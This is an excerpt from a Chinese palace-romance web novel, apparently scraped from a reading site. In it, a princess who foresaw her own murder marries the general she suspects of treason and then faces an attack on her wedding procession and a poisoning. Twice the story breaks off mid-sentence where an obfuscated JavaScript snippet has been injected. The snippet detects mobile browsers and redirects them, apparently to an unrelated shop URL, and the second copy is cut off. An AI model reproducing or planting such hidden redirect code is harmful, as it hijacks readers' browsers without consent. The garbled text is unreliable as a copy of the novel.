《重回将军未娶时》 1. 归京·意碎情冷 永安二十七年。 镇国将军萧冽北境大捷,班师回朝,消息如同狂风席卷了京城。 丝竹礼乐之声由远及近,阵阵大军凯旋的号角、年轻将士们敲响的鼓声不住地传入昭阳殿。 阿鸾便面色凝重地走到内室。 “公主,表舅母又来了。” 阿鸾年岁尚小,是个掩饰不住情绪的,语气怏怏的,像是把什么瘟神通传来了。 还赶不上瘟神呢,这个表舅母郭氏,是柳家的人,仗着自己跟将军府有些许亲缘关系,日日往他们昭阳殿跑。 不是将军府的后院要修缮了,就是前厅打点的银子不够了,冬日少炭,夏季缺冰。一口一个“初禾”的叫着,说公主和将军真是天造地设的一对,可得让将军府在京中长长脸。 殊不知那油水尽让她捞了去,白花花的银两也全进了柳府里去,明眼人谁看不出来,可公主哪次不是乐呵呵地听她的话。 阿鸾追在公主身后,连连劝阻,“公主,这个御赐的东海鲛珠不能给啊!” “你懂什么,替将军打点好府中上下,等他回来定会欢喜。” 阿鸾想到公主曾说的话,顿时像泄了气的皮球,那批进贡之物,就剩下了一个玛瑙,怕是也保不住了,她忍不住叹气。 阿鸾见赵初禾迟迟没有动作,不由得生疑。 先前哪次郭氏前来公主不是起身相迎,然而今日,赵初禾脊背挺然,铜镜映出她的皎皎容颜,神色非但不热切,反而扯出一抹冷笑。 “她算哪门子的表舅母?日后莫要这般叫了,本宫何时有过如此不入流的亲眷?” 赵初禾坐在妆奁前,手上玉梳游走在青丝之间,“宣她进来。” 阿鸾见自家公主一反常态,似乎明白了些什么,语气里是抑制不住的兴奋,“公主,阿鸾这就去!” 不多时,一个身穿绸缎,满头珠翠金饰的女人被引了进来。她满脸堆笑,好似与公主极为亲近一般。 “初禾,你可算见我了!门外那几个侍卫看着眼生,竟把我拦在了外头,一点规矩都不懂!” 说这话时,她目光扫过不远处的桌案,端起茶盏,轻轻撇去浮沫,茶色清碧,乃今年进贡的顾渚紫笋,茶香满溢。 只是茶盏还没碰到嘴唇,就被阿鸾一把扯住了手腕,玉盏掉落,“哐当”一声,四分五裂,清茶泼湿了她的裙摆。 “你看这丫头,怎么毛手毛脚的,可惜了这顶好的茶。”她假意嗔怪,全然不顾内室氛围陡然压抑了大半,甚至还向妆奁的方向挪步。 赵初禾从铜镜瞥到了她的动作,不紧不慢地插上了一支金玉步摇,抬眸冷睨,“此言差矣,侍卫奉本宫之命行事,柳夫人,是在说本宫不懂规矩?” 郭氏听不出她言语间的愠怒,笑得更为谄媚,“初禾,你这不是说笑了吗,将军不日便要回京。我今日来,是想跟你细细商讨,怎么给将军接风洗尘才体面,也好让京里人都瞧瞧,咱们将军府的少夫人是何等气派!” 赵初禾指尖轻叩着桌面,轻笑了一声,缓缓说道,“是柳夫人说笑了,本宫何时成了将军府的少夫人?要知道,蓄意编排公主,直呼公主名讳,乃大不敬之罪。” 她取过屉内的口脂,唇间染上了珊瑚色,艳色冷凝,“纵使是看在将军的几分薄面,本宫也不能将此事轻轻揭过,你说……是也不是?” 赵初禾嘴角勾起了一丝弧度,而后面色迅速冷了下来,“拉出去,杖责五十。”门口的侍卫得令,一边一个将她架了出去。 郭氏起初还含笑推搡几下,“是这干什么,一家人莫要伤了和气。” 侍卫非但没松手,反而加重了气力,郭氏恼羞成怒,“你敢这样对我!你怕是不在乎将军府了!” 她声音颤抖着,叫骂着,颇有几分街间泼皮无赖的模样。 郭氏何曾见过这样的阵仗,整个人的魂儿此刻还是飘散着的,像是不信赵初禾会这般待她。 可一左一右的两个侍卫半分也掺不了假,就在她被拖出内室之际,她终于有了实感——元昭公主没来虚的,她真要打她的板子。 “殿下恕罪!妾一时失言,绝非有意直呼公主名讳!”她的声音越来越远,那滑稽的模样让阿鸾忍不住发笑。 “笑什么,你瞧,她这不是懂礼数吗,打了板子,果然会叫殿下了。”她的声音淡淡的,听不出什么情绪。 赵初禾缓缓起身,阿鸾见状到跟前伺候着,“阿鸾就是觉着痛快,从前她在公主这得了多少好处,瞧她穿金戴银的样子,哪一个不是承了公主的恩,还敢在公主面前如此放肆!” 赵初禾闻言轻叹口气,“原来……原来你也是能看出来的……” “何止是阿鸾!宫内宫外谁看不出来啊!公主待她那般宽厚,她可倒好,得寸进尺,差点就爬到公主头上……” 阿鸾话说到一半,见赵初禾眸光微黯,连忙躬身行礼,“公主,阿鸾失言了……” “无妨,你说的对,那只是从前。这世间万没有白拿人好处的道理,本宫要让她付出代价。” 她移步至门外,远远望着宫墙,那是萧冽即将归来的方向。是啊,她日夜盼望的少年将军回来了,可她的心,早已在一场场血色噩梦中,冷透了。 三月前,赵初禾深陷血色梦魇,梦中她被萧冽弃于冷院,最后换得身处血泊,毒发而亡的结局。 梦中的寒意侵入四肢百骸,毒药入喉的灼烧也如同亲历。 一开始,她自然是不信的,直到她看到萧冽领兵进入了那一方天地,狭小的院子堆满了人,他竟欲谋反! 由不得她不信,她没命赌,也不能拿着父皇的江山去赌。 什么年少欢喜,什么佳偶天成,她要活命,她不再爱他了。 如今,梦醒了,她也彻底醒了。 视线回到雕花窗棂,殿外传来小太监的通传声,尖细的嗓音穿过门扉,“殿下,陛下遣人送来赏赐,说是镇国将军萧冽北境大捷,陛下龙颜大悦,特赐殿下珍宝无数,邀殿下一同为萧将军接风洗尘。” “知道了,呈上来吧。” 宫人捧着珍宝一一入内,尽数呈到公主面前。 赵初禾漫不经心地扫过,目光最终落于一柄雕琢精美的白玉佩上,玉佩上刻着一个遒劲的“萧”字,原是萧冽的随身之物,竟被父皇一并赐了过来。 赵初禾拿起那枚玉佩,指尖冰凉,触感温润,却如同握着一块烧红的烙铁,烫得她心底发疼。 半晌,她缓缓放下玉佩,声音嘶哑,“阿鸾,替我更衣。” “是,公主。” ——— 紫渊宫阙灯火如昼,金銮偏殿铺陈十里锦绣。殿内酒香与喜悦交织,欢声与礼乐相融,钟鼓齐鸣,余音不绝,琉璃盏碰撞其间,漾出满溢的酒液,珍馐置于矮桌前,庆北境之捷。 满殿皆是京中权贵,文官武臣携家眷一同赴宴,诰命夫人相坐其间,低声私语,目光皆不约而同地凝到一个方向———赵初禾身穿织金蹙凤赤红裳端坐席间,周身散发着生人勿近的气焰,华贵非常。 是也,无论元昭公主何等骄纵,为萧冽做出怎样荒唐之事,都不是他们能够轻易置喙的。她是世间最尊贵的女子,是当今圣上最宠爱的皇女。 赵初禾无视周遭的目光,对四下喧闹之声置若罔闻,只是指尖轻捻茶盏,神情自若。 忽而一阵骚动,尤是殿门口那处最甚,郭氏之女柳青青身穿艳色襦裙,不顾宫规,竟直冲冲地朝她这处来了。 柳青青因着将军府的关系,没少在京中仗势欺人,也练就了嚣张跋扈的性子,“元昭公主好大的威风!不过是母亲一时失言,便杖责五十,如今母亲只好在家休养,连庆功宴都来不得,公主就半点不念及将军府的情分吗?” 她语气骄横,字字句句皆是质问,那模样,仿佛她才是这紫渊宫里的金枝玉叶,而赵初禾只是个仗势欺人的外人。 见赵初禾垂眸不语,柳青青见状更是得寸进尺,上前一步,弯下腰,凑到赵初禾耳畔,声音压低,带着满满的挑衅与得意:“我告诉你,一会儿萧将军就到了,我倒要看看,你这般对待将军 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可赵初禾因心悦于他,就连这样的亲戚也是倾尽所有,悉数奉上,这才让他们柳家在京中立住了脚。 不过,那也是从前了,柳青青还真以为如今的她会吃这一套,对他们柳家百般纵容。 赵初禾看着萧冽那副愕然的模样,心中毫无波澜,手却忍不住攥成了拳头,真想当众撕下他的假面。 “公主恕罪,臣定当严加管教。” 柳青青见事态发展的与预期大相径庭,却还不死心的瞪着双眼,她道:“公主这样,怕是不想进将军府了……” “大胆!”萧冽低沉的声音骤然响起,吓得柳青青肩膀一耸,接连后退。 赵初禾身姿挺拔,一步一步地向柳青青的方向走去,“本宫念及将军班师回朝,不愿沾血,故而轻罚五十,已是法外开恩。你倒好,竟敢在庆功宴上撒野,是觉得皇家律法管不到你,还是觉得将军府能替你担下此等以下犯上的死罪?” 柳青青被逼得连连后退,浑身瘫软,直到身后撞到硬冷的木柱,这下,赵初禾凑到她耳边,语气极淡地说道:“你柳家的东西皆是本宫给的,如今本宫全要拿回来。” 听到这话,柳青青更是扑通一声就跪了下去,面色煞白,嘴唇哆哆嗦嗦地说不出话,“如何……如何便牵扯到死罪了……什么你给的……” 她的声音似蚊虫一般微弱,却清晰地传入了赵初禾的耳中,“死罪可免,活罪难逃,听闻你母亲思乡心切,便回你们的故里去吧。” 本来跪坐在地的女子身子一下子僵硬了,倔强地抬头看向赵初禾,“故里?滁州如此苦寒之地,你怎么能……” 赵初禾闻言眉峰轻挑,语气染上了几分玩味,“呵,本宫为何不可?还敢顶嘴!柳青青目无尊卑,来人啊,掌嘴!” “是!”侍卫即刻上前,按住柳青青,清脆的巴掌声在殿内响起,阵阵刺耳,让人心惊。 柳青青的哭喊声越来越大,脸也很快肿了起来,泪水横流,好不狼狈。 赵初禾面上很快浮现出了一丝假意的怜惜,丝绢掩面,“怎的如此不知分寸,快把她带下去,莫要冲撞了父皇。” 赵初禾瞥了一眼身旁蹙着眉头的萧冽,没有给他留下一句话,转身坐回席位,面色如常,仿佛什么都没有发生过一般。 唯有广袖之下泛白的指尖,昭示了她的内心,大抵不像面上那般平静。 满席众人噤若寒蝉,无人知晓从前处处礼让柳家的公主,今日怎的如此,竟连将军的颜面也不顾及。 难道是……不再爱慕于将军了?席间众人皆知道不该妄度公主的心思,可实在由不得他们想入非非。 萧冽愣在原地,目光看着赵初禾的背影,那眼底翻涌的情绪不明,有诧异、有心疼——他记忆中那个眉眼弯弯,会笑着追着他玩闹的小女孩,如今变成了他不曾认识的模样。 他不在京中的日子,她都经历了什么?令她冷得像冰,看向他的目光里,没有半分温度。 2. 赐婚·红妆藏锋 “皇上驾到——”内侍尖亮的声音响起,穿过殿门,抑住所有声响。 文武众臣,宗室女眷,霎时间齐齐噤声,垂首敛眉,躬身行礼,引得烛火晃动不安。 “吾皇万岁万岁万万岁——” 皇帝缓缓步入上位之座,明黄衮龙袍上金织龙纹在烛光的映衬下栩栩如生,几欲腾空而出,“平身。” “谢皇上。” 待众人起身,皇帝从容落座,扫过阶下众人,“诸位不必拘礼,今日宴席,一为庆北境大捷,二则犒劳镇国将军萧冽劳苦功高。” 众臣一同举杯,齐声附和,“劳苦功高。” 萧冽上前躬身行礼,一身玄色银甲染着未干的沙场气,立于丹陛之下,身姿如出鞘长剑,凛然不犯。 “微臣愧不敢当,征战沙场,收复国疆,乃微臣分内之事。” 殿内喧沸,觥筹交错间,赵初禾坐于席间,透过宫女的身影望到了殿前之人,玄色银甲衬得他周遭的气场非凡,不容进犯,是她日思夜想的少年。 赵初禾只觉眼眶发酸,一时间竟盈满了泪,耳边的礼乐颂声皆化作无形,好似被隔绝了一般。 一道稚嫩的,带着孩子气的声音响起,“我叫萧冽,乃镇远侯府之人,日后是要为了大雍征战沙场的。” 那是他们第一次见面,萧冽随叔父进宫面圣,一时贪玩竟走到了御花园里。见到她不仅不行礼,还仰着小脸蛋,眼神含光地说着什么上战场。 赵初禾拿着纸鸢,看着比自己高出一截的少年,不仅不恼,好像还被他说的话搅得心里痒痒的。 一别数载,他说着同幼时一般无二的话,只是他的身影难以和她记忆中的影子重合。 他褪去了青涩,身姿挺拔如松,肩宽背阔,腰线劲窄。 这个角度她只能看到他锋利的下颌线和直挺的鼻梁,薄唇轻抿,哪里还有半分熟悉的模样,倒是和梦中率兵冲到院子里的那人一般无二。 赵初禾收回目光,无暇顾及其他,思绪早已落入了那个无端的梦,她是如何,又是何时请旨赐婚的,无从得知。 若是平日,别说是一道婚书,就是天上的星星,她也敢当着文武群臣的面,向她父皇讨来。 可如今她倍感不安,不是为别的,是为了自己,也是为了父皇。 倘若梦境之事是对未来的预兆,萧冽娶她是假,肖想江山易主才是真。那这门婚事躲与不躲,于她和父皇而言,皆是死局。 事关父皇,容不得大意,她在父皇的羽翼下长大,而今,是时候为父皇尽一份力了。 不如主动求了这门婚事,与其等他来取她性命,倒不如先下手为强,先一步寻到他谋逆的证据。 如此,才是破局之道。 赵初禾已然想好了说辞,正在她欲张口之际,“将军骁勇,战功赫赫,但家事迟迟没有着落,倒是朕的过错,可有意中人。” 突然被点名的萧冽显然没什么错愕,单膝跪地,面色沉静,一副置身之外的模样。 阴影下的眼神骗不了人,他忍不住地瞧她,陛下赐婚,不难想到他的妻是谁。 他自然愿意,不,不是愿意,是欢喜,欣喜若狂。可她的公主,她也是愿意的吗? “臣惶恐,臣一心报国,恐难顾小家,不敢负了佳人。” “萧将军果然志在天下,有此良将,朕心安矣,百姓心安矣。”皇帝拍案称赞道。 不知是谁在一旁恭维,“得此良将,乃大雍之福。” 赵初禾是强忍着一股力气,才没将白眼翻出来的,萧将军好不风光,她一不慎,往他那边瞧了过去。 谁成想,再度跌入了他漩涡般的黑眸,这下她不敢乱瞟,只敢静静地看着酒杯里的倒影。 他的意中人,从来都只有一个。 殿内的称颂声还未散去,陛下忽而抬手,笑意里多了几分不容置喙的笃定,“萧将军忠勇可嘉,朕心甚慰。只是国与家,从来不是二者择一。朕的元昭公主初禾,才貌双全,与将军堪称天作之合。今日,朕便将公主许配于你,待礼部择个吉日,即刻完婚。” 话音落下,满殿寂静。 赵初禾面上的神色僵了一瞬,唇瓣微张,手中的玉箸险些掉落。 不过她瞬间稳住了动作,如此也好,既有了父皇的推波助澜,也免得她亲自上阵,只是为何和梦境中的不甚相同,她明明记得是她求父皇赐婚。 萧冽单膝跪地的脊背骤然绷紧,声音里第一次染了一丝不易察觉的震颤,那是喜不自胜的模样,赵初禾分明看到了他嘴角下意识的弧度。 “臣领旨谢恩,迎娶元昭公主,臣三生有幸,多谢陛下,只是不知公主的意思。”试问萧冽驰骋疆场,取敌头颅犹如探囊取物,何曾有这般紧张。 被点名的公主缓缓走上殿前,盈盈之态惹人怜惜,“父皇,儿臣愿意。”粉红爬上了她的脖颈,如同她一直以来的那般,中意于萧冽。 接近萧冽,麻痹他的神智,将他的秘密公之于众。想到这,赵初禾笑容愈发娇羞,演得入了戏。 “将军不必多言。”目光扫过殿中,“初禾与你青梅竹马,忠臣良将,当配佳人,家国两全。” 萧冽偷瞥着身旁的倩影,瞧着她那不算真切的女儿家羞赧,脑海中忽而闪过她幼时的模样,心口微涩。他看得出她的假意迎合,看得出她对他的全然疏离。 也许,她已经不是四年前那个会追在他身后喊“萧哥哥”的小姑娘了。 ——— 永安二十七年,十月廿五。 宜嫁娶,纳彩,诸事顺遂。 整个京城都沉浸在一片喜庆的红浪之中,大红的绸缎从宫门口一路铺到镇远侯府,宫灯高挂,鞭炮齐鸣。 “今儿怎的这么热闹,什么大日子啊?” “这你都不知道,今天是公主大婚啊。” “谁这么好命做公主的驸马?” “还能是谁?镇远侯府萧将军。” “公主不是一直喜欢将军吗?那柳家因为这个沾了多少光。” “喜欢?柳府如今什么模样你不知道?” “什么什么,快跟我说说………” 京城近二十年来都没有如此盛况,街道两旁,酒楼高阁里挤满了人,争相目睹公主的十里红妆,寻常人家哪里见过这阵仗,怕是借来几双眼睛也看不够。 元昭公主集万千宠爱于一身,嫁得少年将军,郎才女貌,天作之合,是世间最圆满的姻缘。 一切都和赵初禾梦到的一样,梦中她此刻有多欢喜,日后便有多么痛彻心扉。 喜房内,喜娘小心翼翼地为她戴上凤冠,纵使是见过无数出嫁的女娃,也忍不住想感叹,“公主真的生得天仙一般的模样,真是叫人好生欢喜。” 铜镜中,映出女子身着大红嫁衣,绣着百鸟朝凤的纹样,金线流光,美艳得不可方物。 眉眼如画,唇点胭脂,本该是满心欢喜的新娘,可眼底却没有半分笑意,只有一片沉静的冰冷,藏在长长的睫毛之下,无人窥见。 阿鸾站在一旁,眼眶微红,轻声附和着喜娘的话,“公主今日真是美极了,不知贵妃娘娘看到了该有多好。” 她抬眼,看向镜中的阿鸾,眼神微微示意,勉强扯出了笑意。 阿鸾即刻会意,待其他人退下之后,压低声音道:“公主放心,暗卫已经安排妥当,皆潜伏在将军府周围,只等您的号令。” 赵初禾微微颔首,没有说话,这是她近几个月布置的成果。 母妃为她留下的依仗——温家旧部,传言中的暗卫上天入地,无所不能。 赵初禾不指望他们如传言那般赛神仙,能够为自己复仇之计出上一份力便好,她要查出萧冽背后的行径,亲自守护如今的一切。 她将人手安插在镇远侯府的各个角落,后厨、帐房、前厅,她掌握了全部的视野。 从前太傅说她有谋略之才,她从未放在心上,如今是她第一次做这类事,竟显露出游刃有余,得心应手。 她在萧冽的眼皮子底下,布下天罗地网。 喜娘笑着道:“殿下,吉时到了,该上轿了!” 红盖头被缓缓盖上,眼前一片猩红,赵初禾深吸一口气,伸出手,被喜娘搀扶着,一步步走出寝殿。脚下踩着大红的地毯,耳边是喧嚣的喜乐、好听的吉祥话。 这一切的一切,美好得如同幻境,而幻境破碎之时,便是地狱降临之日,她缓缓地合上了双眼,强压着眼眶内积蓄的泪。 凤辇缓缓前行,穿过紫禁城的宫门,走上长安街。街道两旁的欢呼声此起彼伏,赵初禾端坐在凤辇之中,一动不动,指尖紧紧攥着藏在嫁衣中的一枚银簪。 御帘挡不住外面的喧闹之声,千钧一发之际,一声凄厉的马嘶划破了周遭的一切声响,也惊扰了帘内的一片宁静。 前头拉辇的两匹骏马好似发了疯一般,两只前蹄不安地朝天上挥舞着,近乎七尺高,拖着轿辇朝人群冲去。 轿夫不敢舍主逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393275|200341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窜,却也被这样的冲击弄乱了阵脚,惹得凤辇里剧烈晃动。 “保护公主!” “抓刺客!” 本来被侯府侍卫挡得好好的人群中忽而闪出几个蒙着面,穿着常衣的男子,他们的眼里充斥着杀意,竟直直地冲着凤辇里的那人去了! 赵初禾手中的银簪借着颠簸刺破了她的掌心,倒也让她清醒了几分,她还来不及思考,就早已经稳住了身子,目光扫到一旁的木栓,费力地攥住了。 如此孤立无援,命悬一线。 萧冽同她的距离不算远,她下意识地向他呼救,话语却哽在喉间,发不出半点声响。她能信他吗? 赵初禾抓着木栓的手更紧了几分,甚至已经微微抬起了上半身,大不了就舍了这辇,跳下去。这一刻,她管不了大雍第一公主的体面,她要保住她的命。 如果今日交代在这里,遑论什么复仇? 另一只手抓着银簪调整了角度,如果刺客先一步上来,就刺穿他的脖颈。 正当赵初禾近乎决绝的选择跳辇之时,外头突然恢复了秩序,“押下去,听候发落。”萧冽的声音响起,而那声音离她越来越近。 萧冽此刻怕极了,几乎忘了自己是在迎娶公主的路上,只觉又回到了那个蚀骨的夜晚——那个他没能护住她的夜晚,掌心竟沁出了薄汗,手中的短刃险些脱手。 他想看看自己的公主是否安然无恙,手马上碰到了不算厚实的辇帷。 “本宫无碍,莫要耽误了吉时。”听着她强忍着颤抖的声线,萧冽恨不得现在就砍下刺客的脑袋。 这是赤裸裸的拒绝。他的初儿,在危难之时没有向他求助,而如今连他的关心也不稀罕了。 萧冽不合时宜的想起,幼时赵初禾连手指破了个小口都要来找他哭哭啼啼的模样。 心里不由得发酸。 “好,都听公主的。” ——— 半个时辰后,喜娘高声唱喏:“落轿——!”凤辇停在镇远侯府门前。 朱红的大门敞开,张灯结彩,喜气洋洋,府内人来人往,络绎不绝,皆是前来道贺的宾客,所有人都忘记了刚才的刺客和受惊的马,只当是个小到不能再小的插曲。 只有赵初禾胸膛内一直突突直跳,直到此刻才稍微平静了些许。 喜娘搀扶着新娘子下辇,红盖头之下,赵初禾只能看一双玄色锦袍的靴面。靴面干净整洁,绣着云纹,线条挺拔,透着一股生人勿近的冷意。 是萧冽。 他就站在她的面前,咫尺之遥,比他方才在轿前关心她的时候还要近,姑且算是关心吧,毕竟当时在场的不止他们二人,他还要当好他的驸马爷。 萧冽伸出手,骨节分明,轻轻握住了她。 他的掌心很暖,带着一种近乎小心翼翼的呵护,仿佛在握着一件价值连城的宝物。 赵初禾被这样想法吓到了,手微微一颤,下意识地想要抽回,反倒被他轻轻攥住,力道不是很大,却让她无法挣脱。 “初儿,别怕。” 他的声音在耳边响起,低沉悦耳,明明是战场上的修罗,此刻他的低语却像山间清泉,温柔得能滴出水来,带着一丝不易察觉的颤抖,还有……心疼? 赵初禾心头一怔。 心疼? 怎么可能。 他温热的手包裹着她冰凉的指尖,传来阵阵暖意,赵初禾却感到浑身冰冷,如坠冰窟。 咫尺天涯,不过如此。 拜堂仪式繁琐而隆重,每一次弯腰,皆感到恍若隔世,就好像,他们曾拜过堂一般。 她被一路的嬉笑声和祝福声簇拥着进入了洞房。喜娘和侍女们又笑着闹了一阵,说了些吉祥话,便纷纷退下,关上了房门。 喧嚣瞬间被隔绝在外,偌大的洞房里,只剩下她和阿鸾,她终于忍不住了,撩起盖头,急忙问道,“阿鸾,今日你可瞧见那刺客有什么异常,我总觉着很奇怪。” “回公主,今天奴婢的注意力一直在您身上,只有在和其中一人交手的时候感觉有点不大不对劲。” “如何,你且说来听听。” “奴婢瞧着他与自己的武器不甚熟稔,倘若他使出全力,奴婢绝不是对手……” 话还没说完,萧冽一路走来,脚步声越来越近,“阿鸾,你先下去。”赵初禾慌乱地盖上了盖头。“去查,仔细地查清刺客的来历。” “是。” 今日之事,是他的手笔吗? 3. 洞房·毒影银踪 萧冽几欲认不出自己的院子,一路到此皆是红绸,屋内红烛高燃,跳动的火光映着满室的红,暖意融融。 院落内的一切皆是他亲手经办,他独自处于其间并无所感,直至迎娶公主这一日真正到来,这院子才算真正活了过来。 赵初禾端坐在床榻上,红盖头未揭,端庄静坐。 萧冽走到她面前,他没有说话,只是静静地看着她,目光灼热,带着复杂难辨的情绪,有欣喜,有心疼,有悔恨,还有一丝深藏的恐惧。 赵初禾感受到他的目光,落在她的身上各处,游走着,滚烫得让她浑身不自在。 他在看什么? 赵初禾的指尖攥得更紧,藏在嫁衣中的银簪,已经被她握得发烫。 良久,萧冽终于动了。 他缓缓走上前,站在她的面前,伸出手,轻轻挑起她的红盖头。喜秤挑起红绸的那一刻,赵初禾缓缓抬起头,对上他的眼睛。 那是一双极好看的眼睛,眼窝深邃,眼眸含情,寻常人都说他是杀神,只有赵初禾知道,他的小将军有多好看。 那眼中含光,直到如今也未曾黯淡。 更别提他今天穿着一身大红喜服,衬得他丰神俊朗,意气风发。 是她曾日思夜想的模样,是她倾心爱慕十数载的模样。可此刻,在赵初禾眼中,这张脸竟沾染了可怖与狰狞。 萧冽看着她的脸,眼底的光芒瞬间柔和下来,像冰雪消融,春水荡漾,他的目光轻轻拂过她的眉眼,她的脸颊,带着极致的温柔与珍视,仿佛在看一件失而复得的稀世珍宝。 “初儿。”他轻声唤她的名字,声音沙哑,带着一丝颤抖,“我终于,娶到你了。” 这一声呼唤,饱含深情,缱绻温柔,若是她不做那个预知梦,她该有多么欣喜。可如今的赵初禾,只感到虚伪,怒不可遏。 她垂下眼眸,掩去眼底的冰冷与嘲讽,带着少女的娇羞,轻声道:“将军。”声音轻柔,带着一丝怯意。 萧冽看着她低垂的眉眼,长长的睫毛忽闪忽闪的,小巧的脸颊泛着红晕,美得让他心尖发颤。 他多想伸手,将她拥入怀中,告诉她,前世他护不住她,这一世,他拼尽性命,也会护她一世周全。 可他不能。 他希望他的初儿无忧无虞,永远做天真烂漫的公主,如果真要有痛苦,真要有致命的阴谋,手上真的要沾上肮脏的血。 都让他来,一切都让他来做。 此时此刻,他多希望自己只是一个普普通通的新郎官,和他心爱的妻子洞房花烛,和他日思夜想的初儿共度余生。 可是只要一靠近她,回忆如洪水猛兽般强占着他的心扉。他不住地一遍又一遍的想起,他是如何脚步虚浮的迈进那座冷院,他是如何……如何感受着怀里的人渐渐没有了温度。 前世,他大婚月余便重回战场,不料遭人陷害,一箭刺穿他的要害。 他回来的晚了,只是晚了一步。 他回府看到的便是她的初儿香消玉殒,躺在血泊里,腹中还有他们未成形的孩儿,他挽不回他的公主,他救不回他的妻。 他的记忆就到这里,这次,他要护她周全,要揪出幕后的奸人,要让她平安喜乐,再也不要经历前世的半点痛苦。 一切都还来得及,今日的刺杀也都在他的掌控之中。只是他没想到,幕后之人竟这么急,这么急着要他心爱之人的性命。 他拼命的想要保护他的初儿,可是她看他的眼底却藏着的恐惧与防备,他不知为何初儿如此,锐利的刀来来回回的凌割着心口那处。 无妨,她的初儿就在他眼前,在他能护得住的范围内。 萧冽收回目光,压下眼底所有的情绪,手不由自主地抬起,欲描摹她的眉眼,然指尖刚至鬓角,坐在床边的赵初禾蓦然发声。 “将军,该饮合卺酒了。” 萧冽半空中的手终究是收了回来,将要碰到玉注壶,一双冰凉的小手忽而覆上来,“将军,让初儿来吧。” 她倾了满满的两盏酒,递给萧冽,“将军,饮了这杯酒,愿我们白头偕老,此生不渝。” 话语间,红烛晃动,更显得赵初禾眉眼含情,看向他的目光里带着暖暖的笑意。 她仰头将酒液一饮而尽,眼角凝了一滴晶莹的泪珠。“萧哥哥,如果你真的爱初儿,该有多好。” 回过神,萧冽薄唇微启。“那初儿早些歇息,我去外间查今晨之事,不会打扰你,是我的错,让初儿身处险境。” 说完,他深深看了她一眼,那眼神里的复杂情绪,让赵初禾看不懂,却让她心头莫名一慌。 萧冽没有多留,转身走出洞房,轻轻带上了房门。 房门关闭的那一刻,赵初禾紧绷的身体瞬间放松下来,“他就这么走了,也好。” 赵初禾站起身,走到窗边,轻轻掀开一丝窗缝,看向外间的身影。 萧冽立在廊下,身着大红喜服,背影挺拔,却透着一股难以言喻的孤寂,静静地望着洞房的方向。 方才初儿的笑还浮现在他眼前,嘴角不由自主地勾了起来,而后却僵在脸上。他看出赵初禾眼底的防备和假意,她骗的了旁人,却偏偏骗不了他。 罢了,初儿给他的,真假到底有那般重要吗?重要的是她还在他身边,她愿演,他便陪。 初儿要什么,他也给得,哪怕是他这条命。 赵初禾放下窗缝,转身回到床榻边,她又唤来阿鸾,“公主,我们的人说后厨那里有人在盯着我们。” “后厨?明日我便去会会他。那刺客你可有查到什么?” 阿鸾皱着眉毛摇了摇头,“刺客刚被带到侯府就自尽了,没有问到什么,不过他身上有一处刺青,好像是江湖上的人。” 赵初禾疑窦丛生,“传我的命令,从即日起,让府中安插的人,时刻留意萧冽的动静,他见过什么人,说过什么话,去过什么地方,事无巨细,都要报给我。” “是,奴婢记下了。”阿鸾连忙应下。 “还有,”赵初禾顿了顿,眼底闪过一丝锋芒,“去查一查,府中有没有陌生的人进出,尤其是后厨与书房,仔细搜查,看看有没有可疑的信件、密令之类的东西。” “是,公主。” “退下吧。” 今日注定是个不眠夜。 ——— 翌日清晨,赵初禾换上一身素雅的衣裙,准备去给长辈敬茶。萧冽父母早逝,他的叔父镇守北疆,家中只有一位年迈的祖母。 萧家血脉单薄,真正的族亲掰开双手都数得清,且世代忠良,绝非贪财惜命之辈。 她之前是有多傻,才会着了柳家的道。 她起得早了些,距离请安的时间还有些时辰,刚好可以去清点一下她的嫁妆,顺便去看看后厨是何方神圣。 赵初禾前脚刚踏入后院,便听见后厨喧闹嘈杂的吵闹声,其中一个小厮面色煞白,好像被管事的遣去了哪里,那方向……分明是外院,萧冽待了一夜的地方。 “发生了何事?如此惊慌。”赵初禾装作毫不知情的模样上前,拦住小厮的去路。 只听“扑通”一声,公主之容并非他们这种下人能窥见的,眼前的女子他没见过,可这女子气质非凡,他想都不用想就知道是谁了。 总管特意交代此事赶紧交代给将军,旁人一律不要管。可他在见到赵初禾的时候身子就软了。 “回公主殿下的话,是毒……有人下毒……” “把话说清楚!谁下的毒!又是给谁下的!”这话像惊雷一样在赵初禾的脑袋里炸开,她强装的威严被说话间细微的颤抖暴露了。 竟如此按捺不住吗? 虽说赵初禾心里早已有了准备,可她还是有些怕。 她在皇宫待了十来年,听过不少下作的手段,可父皇将她保护得太好,实话说,直面这种要她命的事,她也只经历了两次,也就是在入侯府这两日里。 即便如此,她表面依旧是镇定的,也隐隐约约猜到了被害的人恐怕就是自己。 与此同时,阿鸾匆匆忙忙地走到了赵初禾身旁,在她耳边低语,“公主,刚刚厨房那边传话,有人在你的食盒里下毒,有位可疑的杂役,被拿下后当场自尽了。” 指尖悄然攥紧,赵初禾脑海中飞速盘算着,目标是她,杂役当场自尽,是谁杀人灭口,是萧冽欲盖弥彰,还是……还是另有其人? 思量间,萧冽玄色的身影就从远处赶来,身边还跟着总管,沉稳的声音传来,“不必惊慌,你且慢慢道来。” 跪在地上的人话音传来,“回将军,有人……在公主殿下的食盒里下毒……” 再抬眼时,赵初禾眼里早就摆好了惊恐和无措,她甚至朝萧冽那边挪了一步,他下意识地想去轻抚她的发,就像幼时那样。 不成想,赵初禾低下头轻声抽泣着,不着痕迹地避开了那只手,萧冽的手停滞在半空中,良久,只好将手背到了身后。 “将军……这侯府之中,怎么有如此歹人!” 她刻意示弱,可话语间已然将矛头指向了侯府,是他的侯府里藏了歹人要害她。这是一种试探,也是一种质问。 如若不是想看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 